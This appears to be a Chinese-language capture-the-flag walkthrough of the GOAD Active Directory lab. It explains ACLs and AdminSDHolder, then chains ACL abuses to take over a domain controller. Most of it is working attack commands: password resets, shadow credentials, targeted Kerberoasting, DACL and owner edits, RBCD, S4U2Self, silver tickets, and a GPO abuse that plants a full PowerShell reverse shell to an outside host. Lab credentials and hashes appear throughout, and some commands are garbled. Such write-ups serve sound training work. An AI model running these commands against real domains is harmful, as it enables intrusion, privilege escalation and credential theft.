ACL ACE 在Active Directory 中,每个物件(使用者、群组、电脑、OU 等)都有一个安全描述符(Security Descriptor) ,其中包含:
1 2 3 4 5 6 7 8 9 10 安全描述符(Security Descriptor) ├── 所有者(Owner) ├── 主要组(Primary Group ) ├── DACL(自主访问控制列表) │ └── 多个 ACE(访问控制项) │ ├── 受托人(Trustee:用户/组) │ ├── 访问掩码(Access Mask:读、写、删除... ) │ └── ACE 类型(允许 或 拒绝) └── SACL(系统访问控制列表) └── 用于审计日志
ACL(访问控制列表)
就像一张 “权限表” 。
它列出了 谁 对 这个对象 能 做什么 。
每个对象都有自己的 ACL。
ACE(访问控制项)
就是表中的 “一条记录” 。
每条记录明确指定了一个 用户或组 对这个对象拥有 什么权限 (允许或拒绝)。
常见ACE模型
权限
可执行的攻击
GenericAll
完全控制:修改密码、Shadow Credentials、WriteDacl
GenericWrite
Shadow Credentials、Target Kerberoasting、修改属性
WriteProperty
修改特定属性(如 msDS-KeyCredentialLink)
WriteDacl
修改 ACL,给自己授予 GenericAll
WriteOwner
成为拥有者,然后修改 ACL
ForceChangePassword
直接重置用户密码
群组相关权限
权限
可执行的攻击
AddMember
将任意用户加入群組
AddSelf
将自己加入群組
其他相关权限
权限
说明
利用方式
ReadLAPSPassword
读取 LAPS 密码
取得本地管理员密码
ReadGMSAPassword
读取 gMSA 密码
取得服务账户密码
WriteAccountRestrictions
修改账号限制
修改 UAC、SPN 等
BloodHound查找ACL
1 MATCH p =(u)-[r1]-> (n) WHERE r1.isacl=true and not tolower(u.name ) contains 'vagrant' and u.admincount=false and not tolower(u.name ) contains 'key' RETURN p
AdminSDHolder 保护机制 AdminSDHolder 是一个特殊的容器对象 ,位于:
1 CN =AdminSDHolder,CN =System,DC=domain,DC=local
作用
每隔 60 分钟 ,Active Directory 目录服务(ntds.exe)内的 SDProp (安全描述符传播器)后台线程会触发一次检查与更新。
它会将 AdminSDHolder 对象的安全描述符(ACL) 复制并应用到所有受保护组及其成员对象 (如 Domain Admins、Enterprise Admins 等)。
在应用过程中,任何手动修改过的 ACL 都会被覆盖 ,以确保一致性与安全性。
受保护的组
组名
RID
说明
Account Operators
548
可创建/修改用户账号
Administrator
500
内置管理员账号
Administrators
544
本地管理员组
Backup Operators
551
备份权限
Domain Admins
512
域管理员
Domain Controllers
516
域控制器
Enterprise Admins
519
企业管理员
Krbtgt
502
Kerberos 票据账号
Print Operators
550
打印管理
Read-only Domain Controllers
521
RODC
Replicator
552
复制权限
Schema Admins
518
Schema 管理员
Server Operators
549
服务器管理
对攻击者的影响:
1 2 3 4 5 6 7 攻击者在 Domain Admins 成员上设置后门 ACL ↓60 分钟后 ↓ SDProp 执行,覆盖所有 ACL ↓ 后门失效
ACL攻击链 从tywin.lannister:powerkingftw135开始
1 2 3 4 5 6 7 8 Tywin -> Jaime : Change password user Jaime -> Joffrey : Generic Write user Joffrey -> Tyron : WriteDacl on user Tyron -> small council : add member on group Small council -> dragon stone : write owner group to group dragonstone -> kingsguard : write owner to group kingsguard -> stannis : Generic all on User stannis -> kingslanding : Generic all on Computer
ForceChangePassword Tywin -> Jaime
1 2 3 4 5 6 7 8 9 net rpc password jaime.lannister -U sevenkingdoms.local /tywin.lannister net rpc password: 通过 RPC 协议更改一个用户的密码。 jaime.lannister: 这是要修改密码的目标用户名。 -U sevenkingdoms.local /tywin.lannister -U 表示用户。 sevenkingdoms.local /tywin.lannister 是执行操作的用户全名(域名/用户名)。 -S kingslanding.sevenkingdoms.local : 这是指定要操作的目标服务器。
修改密码为pasdebraspasdechocolat
通过cme验证
1 crackmapexec smb 192.168 .56.10 -u jaime.lannister -d sevenkingdoms.local -p pasdebraspasdechocolat
得到凭证jaime.lannister:pasdebraspasdechocolat
GenericWrite Jaime -> Joffrey
由于我们刚刚设置了 Jaime 的密码,现在我们将利用 Jaime 向 Joffrey 发送的 GenericWrite 请求。
这可能构成三种不同技术的滥用:
shadow Credentials(Windows Server 2016 或更高版本)
条件:目标 Joffrey 账户所在的操作系统必须是 Windows Server 2016 或更高版本。
逻辑:GenericWrite 权限允许攻击者为 Joffrey 账户的 msDS-KeyCredentialLink 属性写入一个新的密钥凭证。这相当于给 Joffrey 账户“贴”上一个攻击者掌握的、可用于 Kerberos 认证的“影子证书”。攻击者随后可以使用此证书申请一个代表 Joffrey 身份的 Kerberos 票据,从而获得其访问权限。
Kerberoasting(密码强度应足以被破解)
条件:Joffrey 账户是一个服务账户(关联了 SPN),并且其密码强度较弱,能够被成功破解。
逻辑:GenericWrite 权限可以被滥用来修改 Joffrey 账户的 servicePrincipalName 属性。攻击者可以为其添加一个易受攻击或特意构造的 SPN。随后,攻击者可以请求该 SPN 的服务票据,而 Kerberos 协议会用 Joffrey 账户的密码哈希来加密这张票据。攻击者获取这张加密的票据后,可以离线尝试破解它,从而得到 Joffrey 账户的明文密码。
登录脚本
条件:这通常需要一个用户(Joffrey)后续进行登录并触发脚本执行。
利用 GenericWrite 权限修改 Joffrey 账户的 scriptPath 属性,指向一个由攻击者控制的恶意脚本路径。当 Joffrey 用户下次登录时,系统会尝试执行该路径的脚本。但由于脚本路径通常需要位于域控的 SYSVOL 等可信共享中,而攻击者往往无法直接写入,所以成功率低。除非攻击者通过其他途径已将脚本放入 SYSVOL。
Shadow Credentials 1 certipy shadow auto -u jaime.lannister@sevenkingdoms .local -p 'pasdebraspasdechocolat' -account 'joffrey.baratheon'
Kerberoasting 临时 给一个普通用户账户(Joffrey)添加一个SPN,使其伪装成服务账户,以获取其Kerberos服务票据进行破解,之后再删除SPN以消除痕迹 。
工具
https://github.com/ShutdownRepo/targetedKerberoast
1 targetedKerberoast.py -v -d sevenkingdoms.local -u jaime.lannister -p pasdebraspasdechocolat --request-user joffrey.baratheon
1 john --wordlist=/usr/ share/wordlists/rockyou.txt joffrey.hash
得到凭证joffrey.baratheon:1killerlion
登录脚本 不好实现,不搞了
WriteDacl Joffrey -> Tyron
要利用 Joffrey 对 Tyron 的 writeDacl 漏洞,我们可以使用 acledit.py 。
修改ACL 首先我们来看tyron.lannister的DACL:
1 2 3 4 5 6 python ../tools/impacket/examples/dacledit.py -action 'read' -principal joffrey.baratheon -target 'tyron .lannister' 'sevenkingdoms .local'/'joffrey .baratheon':'1killerlion' -action 'read' :指定操作为“读取”ACL 。 -principal joffrey.baratheon:筛选显示与指定主体相关的 ACE 。 -target 'tyron .lannister':目标对象是用户账户 tyron.lannister。'sevenkingdoms .local'/'joffrey .baratheon':'1killerlion' :使用的凭据(域/用户名:密码)。
1 2 3 4 5 6 7 8 [*] Parsing DACL [*] Printing parsed DACL [*] Filtering results for SID (S-1 -5 -21 -1310755497 -773461623 -2086370076 -1117 ) [*] ACE[19] info 这是 ACL 中的第 19 条 ACE。 [*] ACE Type : ACCESS_ALLOWED_ACE 这是一个“允许访问”类型的 ACE。 [*] ACE flags : None [*] Access mask : WriteDACL (0x40000) 授予的权限是 WriteDACL(修改 DACL 的权限) [*] Trustee (SID) : joffrey.baratheon (S-1 -5 -21 -1310755497 -773461623 -2086370076 -1117 ) 被授予此权限的主体是用户 joffrey.baratheon
现在将权限更改为FullControl,然后查看修改效果。
1 2 python ../tools/im packet/examples/ dacledit.py -action 'write' -rights 'FullControl' -principal joffrey.baratheon -target 'tyron.lannister' 'sevenkingdoms.local' /'joffrey.baratheon' :'1killerlion'
现在可以:
kerberoasting
修改密码
shadow credentials
kerberoasting 1 targetedKerberoast.py -v -d sevenkingdoms.local -u joffrey.baratheon -p 1 killerlion --request-user tyron.lannister
1 john --wordlist=/usr/ share/wordlists/rockyou.txt ../hash /tyron.hash
没爆破出来
shadow credentials 1 2 3 4 /home/kali/GOAD/tools/certipy-venv/bin/certipy shadow auto \ -u joffrey.baratheon@sevenkingdoms.local \ -p '1killerlion' \ -account tyron.lannister
拿到hashb3b3717f7d51b37fb325f7e7d048e998
凭据
tyron.lannister:b3b3717f7d51b37fb325f7e7d048e998
Add self Tyron -> Small Council
DN :Distinguished Name(识别名) ,它是 LDAP/Active Directory 中对象的全局唯一标识符 。
在ldap中通过DN定位对象
寻找DN 1 2 ldeep ldap -u tyron.lannister -H ':b3b3717f7d51b37fb325f7e7d048e998' -d sevenkingdoms.local -s ldap://192.168 .56 .10 search '(sAMAccountName=tyron.lannister)' distinguishedName ldeep ldap -u tyron.lannister -H ':b3b3717f7d51b37fb325f7e7d048e998' -d sevenkingdoms.local -s ldap://192.168 .56 .10 search '(sAMAccountName=Small Council)' distinguishedName
加入组 使用 add_to_group 功能。参数1是用户的DN(第1步结果),参数2是组的DN(第2步结果)。该命令修改组的 member 属性,将用户的DN添加到列表中。
1 ldeep ldap -u tyron.lannister -H ':b3b3717f7d51b37fb325f7e7d048e998' -d sevenkingdoms.local -s ldap://192.168.56.10 add_to_group "CN=tyron.lannister,OU=Westerlands,DC=sevenkingdoms,DC=local" "CN=Small Council,OU=Crownlands,DC=sevenkingdoms,DC=local"
查询结果 使用 membersof 功能查询组 Small Council 的所有成员。如果操作成功,输出中应包含 tyron.lannister 或其DN。
1 ldeep ldap -u tyron.lannister -H ':b3b3717f7d51b37fb325f7e7d048e998' -d sevenkingdoms.local -s ldap://192.168.56.10 membersof 'Small Council'
AddMember Small Council -> dragonstone
直接像刚才一样将tyron加入组
1 2 ldeep ldap -u tyron.lannister -H ':b3b3717f7d51b37fb325f7e7d048e998' -d sevenkingdoms.local -s ldap: C=local " " CN =DragonStone,OU=Crownlands,DC=sevenkingdoms,DC=local "
WriteOwne dragonstone -> kingsguard
查看当前所有者
1 2 3 owneredit.py -action read -target 'kingsguard' -hashes ':b3b3717f7d51b37fb325f7e7d048e998' sevenkingdoms.local/tyron.lannister 验证 tyron.lannister 是否对 kingsguard 有 WriteOwner 权限(如果无权限则读取会失败)。同时确认当前所有者是谁。
修改所有者
1 2 3 impacket-owneredit -action write -new -owner 'tyron.lannister' -target 'kingsguard' -hashes ':b3b3717f7d51b37fb325f7e7d048e998' sevenkingdoms.local /tyron.lannister 利用 WriteOwner 权限执行此修改。现在 tyron.lannister 成为该组的正式所有者。
利用所有者权限添加完全控制权
1 impacket-dacledit -action write -rights FullControl -principal tyron.lannister -target 'kingsguard' -hashes ':b3b3717f7d51b37fb325f7e7d048e998' sevenkingdoms.local /tyron.lannister
将自己加入组
1 ldeep ldap -u tyron.lannister -H ':b3b3717f7d51b37fb325f7e7d048e998' -d sevenkingdoms.local -s ldap://192.168.56.10 add_to_group "CN=tyron.lannister,OU=Westerlands,DC=sevenkingdoms,DC=local" "CN=kingsguard,OU=Crownlands,DC=sevenkingdoms,DC=local"
问题 为什么所有者权限不能直接加组成员?
为什么要给自己完全控制权限?
为什么最终要加入这个组?
因为攻击目标是获得该组的权限,而不是仅仅控制这个组对象。
控制组 ≠ 拥有组权限 :
控制组 :可以添加/删除成员,但不能自动获得成员权限。
成为成员 :系统检查用户是否在组内,是则授予组的所有权限。
GenericAll kingsguard -> stannis
用 ldeep 修改 Stannis 的密码
1 net rpc password stannis.baratheon --pw-nt-hash -U sevenkingdoms.local /tyron.lannister%b3b3717f7d51b37fb325f7e7d048e998 -S kingslanding.sevenkingdoms.local
新凭据stannis.baratheon:Drag0nst0ne
GenericAll on Computer Stannis -> kingslanding
RBCD 创建机器账户 1 addcomputer.py -computer-name 'rbcd_2$' -computer-pass 'rbcdpass' -dc-host kingslanding.sevenkingdoms .local 'sevenkingdoms.local/stannis.baratheon:Drag0nst0ne'
设置RBCD 1 rbcd.py -delegate -from 'rbcd_2$' -delegate -to 'kingslanding$' -dc-ip 'kingslanding.sevenkingdoms.local' -action 'write' sevenkingdoms.local/stannis.baratheon:Drag0nst0ne
委派 1 2 3 4 getST.py -spn 'cifs/kingslanding.sevenkingdoms.local ' -impersonate Administrator -dc-ip 'kingslanding.sevenkingdoms.local ' ' sevenkingdoms.local /rbcd_2$:rbcdpass'export KRB5CCNAME=Administrator@cifs_kingslanding .sevenkingdoms.local @SEVENKINGDOMS .LOCAL.ccache wmiexec.py -k -no-pass @kingslanding .sevenkingdoms.local
shadow credentials 请求凭据 1 certipy shadow auto -u stannis.baratheon@sevenkingdoms .local -p 'Drag0nst0ne' -account 'kingslanding$'
现在我们有了 kingslanding$ 的 tgt 和 NT 哈希值
我们可以执行 dcsync,因为 Kingslanding 是一个 DC,但我们也可以尝试直接获取 shell。
最简单的方法是利用 s4u2self 漏洞或创建银票。
机器帐户到管理员 shell s4u2 abuse 请求管理员票据 :
1 2 3 4 export KRB5CCNAME =kingslanding.ccache getST.py -self -impersonate "Administrator" -altservice "cifs/kingslanding.sevenkingdoms.local" -k -no-pass -dc-ip 192.168.56.10 "sevenkingdoms.local" /'kingslanding$' 使用域控制器账户的票据,请求一个以 Administrator 身份访问 cifs 服务的票据(S4U2Self)。
使用票据连接 :
1 2 export KRB5CCNAME=Administrator@cifs_kingslanding .sevenkingdoms.local @SEVENKINGDOMS .LOCAL .ccache wmiexec.py -k -no-pass sevenkingdoms.local /administrator@kingslanding .sevenkingdoms.local
银票攻击 获取域SID
1 2 3 4 impacket- lookupsid - hashes ':a769f7673 b4e9d908188 b112772 b5b6b' 'sevenkingdoms.local'/'kingslanding$'@kingslanding.sevenkingdoms.local 0 使用域控制器账户的哈希,查询域的 SID。 S- 1 - 5 - 21 - 1310755497 - 773461623 - 2086370076
创建银票
1 2 3 impacket- ticketer - nthash 'a769f7673 b4e9d908188 b112772 b5b6b' - domain- sid 'S-1-5-21-1310755497-7734 6162 3-2086370076 ' - domain sevenkingdoms.local - spn cifs/kingslanding.sevenkingdoms.local Administrator 使用域控制器账户的哈希和域SID,伪造一张 Administrator 的 Kerberos 票据
使用银票
1 2 export KRB5CCNAME=Administrator.ccache impacket-wmiexec -k -no-pass sevenkingdoms.local /administrator@kingslanding .sevenkingdoms.local
GPO滥用 北域存在 GPO 滥用行为
工具
https://github.com/Hackndo/pyGPOAbuse
它将在远程计算机上以 SYSTEM 身份为计算机 GPO 创建一个立即执行的计划任务,或者以登录用户身份为用户 GPO 创建一个立即执行的计划任务。
添加本地管理员
1 2 3 4 5 6 python3 pygpoabuse.py north.sevenkingdoms .local/samwell.tarly :'Heartsbane' -gpo-id "0B6925C7-2DAF-41F4-A02C-F424795257F9" 使用 samwell.tarly 凭据 修改指定 GPO 的策略设置 添加一个计划任务,在目标计算机上以 SYSTEM 权限运行 任务内容:创建新的本地管理员账户
过几分钟就能看到添加的本地管理员用户
反弹shell
1 python3 pygpoabuse.py north.sevenkingdoms.local/samwell.tarly:'Heartsbane' -gpo-id "0B6925C7-2DAF-41F4-A02C-F424795257F9" -powershell -command "\$c = New-Object System.Net.Sockets.TCPClient('192.168.56.107',4444);\$s = \$c .GetStream();[byte[]]\$b = 0..65535|%{0};while((\$i = \$s .Read(\$b , 0, \$b .Length)) -ne 0){ \$d = (New-Object -TypeName System.Text.ASCIIEncoding).GetString(\$b ,0, \$i ); \$sb = (iex \$d 2>&1 | Out-String ); \$sb = ([text.encoding]::ASCII).GetBytes(\$sb + 'ps> '); \$s .Write(\$sb ,0,\$sb .Length); \$s .Flush()};\$c .Close()" -taskname "MyTask" -description "don't worry" -f